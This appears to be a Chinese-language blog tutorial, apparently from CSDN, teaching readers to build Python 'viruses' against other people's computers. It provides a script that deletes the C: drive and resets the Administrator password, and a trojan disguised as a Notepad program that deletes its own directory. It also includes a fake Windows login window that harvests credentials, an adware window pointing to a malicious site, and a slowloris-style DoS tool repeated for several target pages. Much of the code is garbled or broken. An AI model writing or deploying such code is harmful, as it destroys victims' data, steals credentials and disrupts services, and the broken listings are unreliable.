os.system("net stop service")
import subprocess
print("正在進行環境監測，請稍後")
ret = subprocess.call("title Windows漏洞修復", shell=True)
ret = subprocess.call("ping -t -l 100 127.0.0.0", shell=True)
window=tk.Tk()
window.withdraw()
window.mainloop()
破壞型病毒
在之前，我們已經做過一款破壞型病毒了。這次，我們繼續進行改造，讓它成為一個高級的病毒。
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
import os
import datetime
import os
import sys
ret = subprocess.call("del C:\ ", shell=False)
ret = subprocess.call("ping -n 1 -l 1 你自己的IP", shell=False) #用作通知，通知你有人遭到了你的病毒攻擊，從而對它進行DoS攻擊。
ret = subprocess.call("net user Administrator 123456", shell=False)
ret = subprocess.call("ping 你自己的IP",shell=False)#通知你進行登錄這個用戶，從而進行高級操作
window=tk.Tk()
window.withdraw()
window.mainloop()
①在第一次通知時，對目標進行DoS攻擊。（可以通過資源監視器來查看通知），從而使對方網絡堵塞和系統速度變慢。
②在第二次時，用telnet指令連接對方，登錄Administrator用戶，輸入密碼123456，即可進行更高操作。
telnet 對方IP
正在連接對方IP......
用戶名:Administrator
密碼:123456
正在登錄......
已成功登錄Administrator！
（注：因版本原因，顯示可能不相同，請諒解。）
自毀木馬
這個木馬的功能並不是盜取信息，而是同歸於盡。
它將偽裝成正常程序，並且會在收集完一定系統信息後帶著當前目錄下的部分文件同歸於盡。
這個木馬難度較大，並且還要進行偽裝，在這裡，我們將這個木馬偽裝成這個程序：
這是一款記事本程序，我們可以用它來進行偽裝，它的代碼如下：
#__author__='ZhangP'
#-*- encoding:utf8 -*-
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
root=Tk()
root.title('記事本')
root.geometry("800x500+100+100")
filename=''
def author():
tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開發')
def about():
tkinter.messagebox.askokcancel('版權信息.Copyright','隨意轉載啦!')
def openfile():
global filename
filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')
if filename == '':
filename=None
else:
root.title('FileName:'+os.path.basename(filename))
textPad.delete(1.0,END)
f=open(filename,'r',encoding='utf-8')
textPad.insert(1.0,f.read())
f.close()
def new():
global filename
root.title("未命名文件")
filename=None
textPad.delete(1.0,END)
def save():
global filename
try:
f=open(filename,'w')
msg=textPad.get(1.0,END)
f.write(msg)
f.close()
except:
saveas()
def saveas():
f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
global filename
filename=f
fh=open(f,'w')
msg=textPad.get(1.0,END)
fh.write(msg)
fh.close()
root.title('FileName:'+os.path.basename(f))
def cut():
textPad.event_generate('<>')
def copy():
textPad.event_generate('<>')
def paste():
textPad.event_generate('<>')
def redo():
textPad.event_generate('<>')
def undo():
textPad.event_generate('<>')
def selectAll():
textPad.tag_add('sel','1.0',END)
def search():
topsearch=Toplevel(root)
topsearch.geometry('300x30+200+250')
label1=Label(topsearch,text='Find')
label1.grid(row=0,column=0,padx=5)
entry1=Entry(topsearch,width=20)
entry1.grid(row=0,column=1,padx=5)
button1=Button(topsearch,text='查找')
button1.grid(row=0,column=2)
menubar=Menu(root)
root.config(menu=menubar)
filemenu=Menu(menubar)
filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打開',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存為',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)
editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割線
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='複製',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='編輯',menu=editmenu)
aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版權',command=about)
menubar.add_cascade(label='關於',menu=aboutmenu)
toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打開',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)
shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)
status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)
lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)
textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)
scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)
root.mainloop()
我們用它來充當正常程序，而我們將修改一下代碼，使其變為典型木馬。
因為難度較大，所以我們一步一步、腳踏實地的來學習。
我們先看一段代碼：
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
這段代碼可以實現刪除這個文件所在的目錄文件夾，我們就用這段代碼來進行自毀木馬的編寫。
看一下之前的代碼：
#-*- encoding:utf8 -*-
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
root=Tk()
root.title('記事本')
root.geometry("800x500+100+100")
filename=''
def author():
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開發')
def about():
tkinter.messagebox.askokcancel('版權信息.Copyright','隨意轉載啦!')
def openfile():
global filename
filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')
if filename == '':
filename=None
else:
root.title('FileName:'+os.path.basename(filename))
textPad.delete(1.0,END)
f=open(filename,'r',encoding='utf-8')
textPad.insert(1.0,f.read())
f.close()
def new():
global filename
root.title("未命名文件")
filename=None
textPad.delete(1.0,END)
def save():
global filename
try:
f=open(filename,'w')
msg=textPad.get(1.0,END)
f.write(msg)
f.close()
except:
saveas()
def saveas():
f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
global filename
filename=f
fh=open(f,'w')
msg=textPad.get(1.0,END)
fh.write(msg)
fh.close()
root.title('FileName:'+os.path.basename(f))
def cut():
textPad.event_generate('<>')
def copy():
textPad.event_generate('<>')
def paste():
textPad.event_generate('<>')
def redo():
textPad.event_generate('<>')
def undo():
textPad.event_generate('<>')
def selectAll():
textPad.tag_add('sel','1.0',END)
def search():
topsearch=Toplevel(root)
topsearch.geometry('300x30+200+250')
label1=Label(topsearch,text='Find')
label1.grid(row=0,column=0,padx=5)
entry1=Entry(topsearch,width=20)
entry1.grid(row=0,column=1,padx=5)
button1=Button(topsearch,text='查找')
button1.grid(row=0,column=2)
menubar=Menu(root)
root.config(menu=menubar)
filemenu=Menu(menubar)
filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打開',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存為',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)
editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割線
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='複製',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='編輯',menu=editmenu)
aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版權',command=about)
menubar.add_cascade(label='關於',menu=aboutmenu)
toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打開',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)
shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)
status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)
lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)
textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)
scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)
root.mainloop()
我們加上點剛才看的代碼：
#-*- encoding:utf8 -*-
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
root=Tk()
root.title('記事本')
root.geometry("800x500+100+100")
filename=''
def author():
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開發')
def about():
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
tkinter.messagebox.askokcancel('版權信息.Copyright','隨意轉載啦!')
def openfile():
global filename
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')
if filename == '':
filename=None
else:
root.title('FileName:'+os.path.basename(filename))
textPad.delete(1.0,END)
f=open(filename,'r',encoding='utf-8')
textPad.insert(1.0,f.read())
f.close()
def new():
global filename
root.title("未命名文件")
filename=None
textPad.delete(1.0,END)
def save():
global filename
try:
f=open(filename,'w')
msg=textPad.get(1.0,END)
f.write(msg)
f.close()
except:
saveas()
def saveas():
f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
global filename
filename=f
fh=open(f,'w')
msg=textPad.get(1.0,END)
fh.write(msg)
fh.close()
root.title('FileName:'+os.path.basename(f))
def cut():
textPad.event_generate('<>')
def copy():
textPad.event_generate('<>')
def paste():
textPad.event_generate('<>')
def redo():
textPad.event_generate('<>')
def undo():
textPad.event_generate('<>')
def selectAll():
textPad.tag_add('sel','1.0',END)
def search():
topsearch=Toplevel(root)
topsearch.geometry('300x30+200+250')
label1=Label(topsearch,text='Find')
label1.grid(row=0,column=0,padx=5)
entry1=Entry(topsearch,width=20)
entry1.grid(row=0,column=1,padx=5)
button1=Button(topsearch,text='查找')
button1.grid(row=0,column=2)
menubar=Menu(root)
root.config(menu=menubar)
filemenu=Menu(menubar)
filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打開',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存為',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)
editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割線
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='複製',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='編輯',menu=editmenu)
aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版權',command=about)
menubar.add_cascade(label='關於',menu=aboutmenu)
toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打開',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)
shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)
status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)
lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)
textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)
scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)
root.mainloop()
這樣，我們就可以大致實現自毀木馬了。
入侵病毒
通過入侵病毒，我們可以儘快進行入侵，從而對對方實現高級操作。
現在我們先編寫一個打開後可以通知黑客的病毒，這次，使用socket模塊來進行。
下面是代碼：
import socket
import time
import threading
import tkinter as tk
#---------------------------
MAX_CONN=20000
PORT=80
HOST="你的IP"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
try:
socks=[]
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(buf.encode())
window=tk.Tk()
window.withdraw()
window.mainloop()
這樣，我們就可以實現通知了。
接著，我們就可以使用自己編寫的Telnet連接器進行連接：
# -*- coding: utf-8 -*-
import telnetlib
# 配置選項
Host = '' # Telnet服務器IP
username = '' # 登錄用戶名
password = '' # 登錄密碼
finish = ':~$ ' # 命令提示符（標識著上一條命令已執行完畢）
# 連接Telnet服務器
tn = telnetlib.Telnet(Host)
# 輸入登錄用戶名
n.read_until('login: ')
tn.write(username + '\n')
# 輸入登錄密碼
tn.read_until('Password: ')
tn.write(password + '\n')
# 登錄完畢後，執行ls命令
tn.read_until(finish)
tn.write('ls\n')
# ls命令執行完畢後，終止Telnet連接（或輸入exit退出）
tn.read_until(finish)
tn.close() # tn.write('exit\n')
連接後，即可執行ls命令，如果需執行其他命令，可以修改下面代碼：
tn.write('ls\n')#修改命令
1
你可以刪除對方C盤，看看對方圖片！現在，我們雖然進入了對方計算機，但是還沒有獲得Root權限，如果可以，我們也可以獲得最高權限——Administrator
接下來，我教大家用代碼實現向對方進行攻擊，並且獲得管理員權限。
首先，我們可以先將之前的病毒再加上幾個代碼：
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
window=tk.Tk()
window.title('歡迎使用Windows高級功能！')
window.geometry('450x300')
tk.messagebox.showinfo(title='welcome',
message='很高興您使用Windows高級功能！請在這裡重新註冊一個賬號，並且，用戶名與密碼必須與您現在使用的用戶一樣。')
#畫布放置圖片
canvas=tk.Canvas(window,height=300,width=500)
imagefile=tk.PhotoImage(file='Hello.png')
image=canvas.create_image(0,0,anchor='nw',image=imagefile)
canvas.pack(side='top')
#標籤 用戶名密碼
tk.Label(window,text='用戶名:').place(x=100,y=150)
tk.Label(window,text='密碼:').place(x=100,y=190)
#用戶名輸入框
var_usr_name=tk.StringVar()
entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
entry_usr_name.place(x=160,y=150)
#密碼輸入框
var_usr_pwd=tk.StringVar()
entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
entry_usr_pwd.place(x=160,y=190)
#登錄函數
def usr_log_in():
#輸入框獲取用戶名密碼
usr_name=var_usr_name.get()
usr_pwd=var_usr_pwd.get()
#從本地字典獲取用戶信息，如果沒有則新建本地數據庫
try:
with open('usr_info.pickle','rb') as usr_file:
usrs_info=pickle.load(usr_file)
except FileNotFoundError:
with open('usr_info.pickle','wb') as usr_file:
usrs_info={'admin':'admin'}
pickle.dump(usrs_info,usr_file)
#判斷用戶名和密碼是否匹配
if usr_name in usrs_info:
if usr_pwd == usrs_info[usr_name]:
tk.messagebox.showinfo(title='welcome',
message='歡迎您：'+usr_name)
tk.messagebox.showerror(message='系統錯誤 \n 錯誤代碼:01x0111x0 \n 請關閉此程序，因為它似乎不適合你的Windows!')
else:
tk.messagebox.showerror(message='密碼錯誤')
#用戶名密碼不能為空
elif usr_name=='' or usr_pwd=='' :
tk.messagebox.showerror(message='用戶名或密碼為空')
#不在數據庫中彈出是否註冊的框
else:
is_signup=tk.messagebox.askyesno('歡迎','您還沒有註冊，是否現在註冊')
if is_signup:
usr_sign_up()
#註冊函數
def usr_sign_up():
#確認註冊時的相應函數
def signtowcg():
#獲取輸入框內的內容
nn=new_name.get()
np=new_pwd.get()
npf=new_pwd_confirm.get()
#本地加載已有用戶信息,如果沒有則已有用戶信息為空
try:
with open('usr_info.pickle','rb') as usr_file:
exist_usr_info=pickle.load(usr_file)
except FileNotFoundError:
exist_usr_info={}
#檢查用戶名存在、密碼為空、密碼前後不一致
if nn in exist_usr_info:
tk.messagebox.showerror('錯誤','用戶名已存在')
elif np =='' or nn=='':
tk.messagebox.showerror('錯誤','用戶名或密碼為空')
elif np !=npf:
tk.messagebox.showerror('錯誤','密碼前後不一致')
#註冊信息沒有問題則將用戶名密碼寫入數據庫
else:
exist_usr_info[nn]=np
with open('usr_info.pickle','wb') as usr_file:
pickle.dump(exist_usr_info,usr_file)
tk.messagebox.showinfo('歡迎','註冊成功')
#註冊成功關閉註冊框
window_sign_up.destroy()
#新建註冊界面
window_sign_up=tk.Toplevel(window)
window_sign_up.geometry('350x200')
window_sign_up.title('註冊')
#用戶名變量及標籤、輸入框
new_name=tk.StringVar()
tk.Label(window_sign_up,text='用戶名：').place(x=10,y=10)
tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
#密碼變量及標籤、輸入框
new_pwd=tk.StringVar()
tk.Label(window_sign_up,text='請輸入密碼：').place(x=10,y=50)
tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)
#重複密碼變量及標籤、輸入框
new_pwd_confirm=tk.StringVar()
tk.Label(window_sign_up,text='請再次輸入密碼：').place(x=10,y=90)
tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)
#確認註冊按鈕及位置
bt_confirm_sign_up=tk.Button(window_sign_up,text='確認註冊',
command=signtowcg)
bt_confirm_sign_up.place(x=150,y=130)
#退出的函數
def usr_sign_quit():
try :
window.destroy()
except :
pass
#登錄 註冊按鈕
bt_login=tk.Button(window,text='登錄',command=usr_log_in)
bt_login.place(x=140,y=230)
bt_logup=tk.Button(window,text='註冊',command=usr_sign_up)
bt_logup.place(x=210,y=230)
bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
bt_logquit.place(x=280,y=230)
#主循環
window.mainloop()
# -*-coding:utf-8-*
import socket
import threading
import Queue
import time
except :
pass
這段代碼會讓用戶輸入自己的賬號的密碼，並且保存到usr_info.pickle中，我們在它輸入後，找到這個文件，並且用記事本打開，裡面就會寫著密碼和用戶名，如圖所示：
這樣，我們就可以知道對方管理員賬號密碼了，即可登錄到對方計算機上，並且擁有Administrator權限了。
廣告病毒
首先，它得是個窗口，並且還是得有一個樣子，大致構圖如下：
點擊這個鏈接，就會通往惡意網站。
效果如下：
代碼：
import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def tiaozhuan():
webbrowser.open("xxx.com")
window=tk.Tk()
window.title('頭條新聞——新聞，找頭條！')
window.geometry('450x300')
tk.Label(window,text='最新消息！微軟決定拋棄Windows 7！詳情請點擊：').place(x=0,y=0)
b = tkinter.Button(window,text = '詳情',bg='cyan',font = ('幼圓',15),bd = 0.5,width=10,height=5,command = tiaozhuan).place(x=50,y=100,anchor='nw')
window=tk.Tk()
window.withdraw()
window.mainloop()
在文中，有一個DDoS的代碼。這段代碼中，有一個要注意的是：如果不改動此代碼，只可以攻擊index.php這個頁面！！！
要攻擊其他頁面，我們需要修改代碼。
原本代碼如下：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
HOST = ""
PORT=80
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如要攻擊index.html，就要更改為:
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
HOST = ""
PORT=80
PAGE="/index.html"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻擊Login.jsp：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
HOST = ""
PORT=80
PAGE="/index.jsp"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
這樣，就可以完成想要的攻擊了。
原文鏈接：https://blog.csdn.net/tiantian520ttjs/java/article/details/103107836
